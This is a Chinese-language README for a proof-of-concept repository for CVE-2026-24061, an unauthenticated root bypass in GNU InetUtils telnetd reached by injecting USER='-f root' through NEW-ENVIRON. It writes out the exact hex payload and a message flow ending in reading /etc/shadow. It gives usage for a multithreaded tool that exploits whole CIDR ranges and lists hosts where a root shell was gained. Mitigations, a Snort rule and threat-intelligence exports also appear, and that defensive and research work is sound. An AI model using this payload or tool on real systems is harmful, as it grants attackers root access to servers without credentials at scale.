GNU InetUtils telnetd - 通过 NEW-ENVIRON 变量注入实现未认证远程 Root 权限
CVE-2026-24061 是 GNU InetUtils 所分发的 telnetd 守护进程中的一个严重认证绕过漏洞。该缺陷存在于初始协议握手期间对 Telnet NEW-ENVIRON 选项(RFC 1572)的处理过程中。
根本原因是在将客户端提供的环境变量传递给 login(1) 程序之前,未能对其进行净化处理。当 Telnet 守护进程收到包含变量 USER(值为 -f root)的 子协商数据包时,会将该未净化的值直接传递给系统 二进制文件。
NEW-ENVIRON ISlogin在 login 接受 -f 标志(强制登录,无需密码验证)的系统上,这将导致远程攻击者获得未认证的 root 会话。
此类漏洞具有历史先例:SysV telnetd 中的 CVE-2001-0797 以及 1994 年著名的 Linux telnetd -f 绕过漏洞,均利用了相同的根本性缺陷——未能净化通过环境变量传递给特权二进制文件的参数。
无需任何凭据。无需任何先前访问权限。单个网络数据包序列即可获得 root 权限。
GNU InetUtils telnetd 处理 NEW-ENVIRON(选项代码 0x27,依据 RFC 1572)子协商以收集客户端提供的环境变量。这些变量被组装成参数向量,并在生成 login(1) 进程时传递给 execve(2)。
该漏洞的触发过程如下:
IAC DO NEW-ENVIRON,向客户端请求环境变量。IAC WILL NEW-ENVIRON。IAC SB NEW-ENVIRON SEND IAC SE。IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd 构造 login 调用为 login -f root。login(1) 将 -f 解释为"强制登录,跳过认证",并以指定用户(root)身份登录,无需密码。| 步骤 | 方向 | Telnet 字节(十六进制) | 含义 |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f root 有效许多 Linux 系统上的 login(1) 二进制文件接受 -f <user> 标志用于"预认证"登录,历史上被终端多路复用器和 rlogin 使用。当 telnetd 构建其 exec 调用时,未能去除前导连字符或验证环境变量值中类似选项的字符串,从而无意中将攻击者控制的标志直接传递给 login。
实际调用变为:
execve("/bin/login", ["login", "-f", "root"], envp);
攻击者 易受攻击的 telnetd(端口 23)
| |
|------- TCP SYN(端口 23)----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet 横幅 + IAC DO NEW-ENVIRON ----------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd 调用: login -f root] |
| |
|<------ Root shell 提示符 (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow 内容 ---------|
前提条件:
telnetd(TCP/23 开放)inetutils 版本login(1) 二进制文件支持 -f 标志(大多数 Linux 发行版的标准配置)| 软件 | 受影响版本 | 状态 |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x(具体补丁版本待定) | 易受攻击 |
| 分发未打补丁 GNU inetutils 的发行版 | 多种 | 请查阅供应商公告 |
请验证您的发行版是否提供了已打补丁的版本。许多现代系统默认禁用 Telnet;暴露风险要求显式运行
telnetd。
| 指标 | 值 |
|---|---|
| CVSS v3.1 基础评分 | 9.8(严重) |
| 攻击向量 | 网络 |
| 攻击复杂度 | 低 |
| 所需权限 | 无 |
| 用户交互 | 无 |
| 影响范围 | 不变 |
| 机密性影响 | 高 |
| 完整性影响 | 高 |
| 可用性影响 | 高 |
| 向量字符串 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
要求: Python 3(仅标准库,零外部依赖)。
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
无需 pip install。两个脚本仅使用 Python 标准库。
poc_cve_2026_24061.py # 简单 PoC(约 100 行)- 理解漏洞原理
cve_2026_24061.py # 工业化利用工具 - 多线程、CIDR、CSV/JSON 导出
scripts/
generate_signatures.py # 从载荷自动生成 Snort/Suricata + Sigma 规则
generate_misp_event.py # 生成可导入 MISP 的事件 JSON
generate_stix_bundle.py # 生成 STIX 2.1 包(MISP、OpenCTI、TAXII)
signatures/
snort.rules # Snort/Suricata 检测规则(自动生成)
sigma.yml # 用于 SIEM 的 Sigma 规则(自动生成)
indicators/
misp_event.json # MISP 事件 - 通过 事件 > 添加事件 > 导入 导入
stix_bundle.json # STIX 2.1 包 - 11 个对象(漏洞、指标、ATT&CK、CoA)
poc_cve_2026_24061.py:最小化、可读、教育性。单个目标、单个函数、零抽象。阅读此文件以准确理解漏洞在协议层面的工作原理。cve_2026_24061.py:用于渗透测试的工业化利用工具。多线程,支持 CIDR 范围、文件输入、CSV/JSON 导出、静默模式、自定义用户。利用单个主机。代码刻意保持最小化,以便您可以从头到尾阅读并理解完整的攻击链。
# 基本用法
python3 poc_cve_2026_24061.py 192.168.1.100
# 自定义端口
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| 参数 | 默认值 | 描述 |
|---|---|---|
-t / --target | - | 单个 IP、主机名或 CIDR 范围 |
-f / --file | - | 包含 IP/CIDR 的文件(每行一个,# 为注释) |
-T / --threads | 10 | 并发线程数 |
-p / --port | 23 | 目标 Telnet 端口 |
--timeout | 5 | 套接字超时时间(秒) |
--user | root | 用于 -f 载荷的用户名 |
-o / --output | - | 将结果导出到 CSV 文件 |
--json | - | 将结果导出到 JSON 文件 |
-q / --quiet | 关闭 | 静默模式:仅打印易受攻击的目标(每行一个) |
--no-color | 关闭 | 禁用 ANSI 彩色输出 |
| 状态 | 含义 |
|---|---|
[VULN] | 主机确认易受攻击 - 已获得 root shell |
[SAFE] | 主机有响应但认证未被绕过 |
[CLOS] | 端口关闭或连接被拒绝 |
[ERR ] | 扫描期间发生套接字或协议错误 |
CSV 输出列:ip:port, status, message
该脚本使用 Python 原生实现完整的 Telnet NEW-ENVIRON 协商状态机,不依赖外部 Telnet 库:
IAC 命令序列,并以 WILL NEW-ENVIRON 响应 DO NEW-ENVIRON。SB NEW-ENVIRON SEND 子协商后,发送注入的载荷(USER = "-f root")。Login incorrect 或 Password: 的情况下,出现 uid=0(root) 或 shell 提示符(#)。id\n 并检查响应中是否包含 uid=0(root) 作为二次确认。结果以彩色状态标签输出到标准输出。可选的 CSV 导出记录所有发现以供后续处理。
完全禁用 Telnet。 Telnet 以明文传输所有数据。请改用 SSH。
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
应用供应商补丁。 一旦可用,请从您的发行版安装已打补丁的 inetutils 版本。
在外围阻止 TCP/23。 应用防火墙规则以拒绝入站 Telnet 连接。
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| 控制措施 | 描述 |
|---|---|
| 网络分段 | 如果无法禁用 Telnet,请将其限制在隔离的管理网络中 |
| PAM 加固 | 审查 PAM 配置;在 login.defs 不需要时禁用 -f 预认证 |
| IDS/IPS 签名 | 检测 Telnet 流量中的 NEW-ENVIRON IS VAR USER VALUE -f 模式 |
| 审计日志 | 监控 auth.log / secure 中通过 login 进行的意外 root 登录 |
| 漏洞扫描 | 运行认证扫描(OpenVAS、Nessus)以识别未打补丁的 inetutils |
用于检测传输中利用行为的 Snort/Suricata 规则框架:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd USER=-f root 利用尝试";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
此仓库附带预生成的威胁情报工件,可直接导入您的 SOC/CTI 技术栈。它们由 CI 根据实际利用载荷自动生成——如果载荷发生变化,工件也会随之更新。
将 indicators/misp_event.json 直接导入任何 MISP 实例:
事件 > 添加事件 > 从...导入 > JSON
该事件包含:CVE ID、CVSS 向量、Snort 签名、载荷十六进制、MITRE ATT&CK 标签(T1190、T1548、T1059)、CPE 和外部参考。
将 indicators/stix_bundle.json 导入 OpenCTI、TAXII 服务器或任何 STIX 2.1 消费者。
该包包含 11 个对象:漏洞、指标(网络模式)、3 个攻击模式(MITRE)、行动方案(修复)、身份以及连接它们的关联关系。
signatures/ 中的预构建规则:
snort.rules - 3 条 Snort/Suricata 规则(利用尝试、通用 -f 注入、利用后 root shell)sigma.yml - 用于 SIEM 关联的 Sigma 规则如果您修改了利用载荷,请重新生成所有工件:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
本工具仅供授权安全审计、学术研究和教育目的使用。未经系统所有者明确书面许可而对系统进行使用,将违反适用的计算机欺诈和滥用法律(包括但不限于 CFAA、计算机滥用法及同等法律)。作者对未经授权或恶意使用不承担任何责任。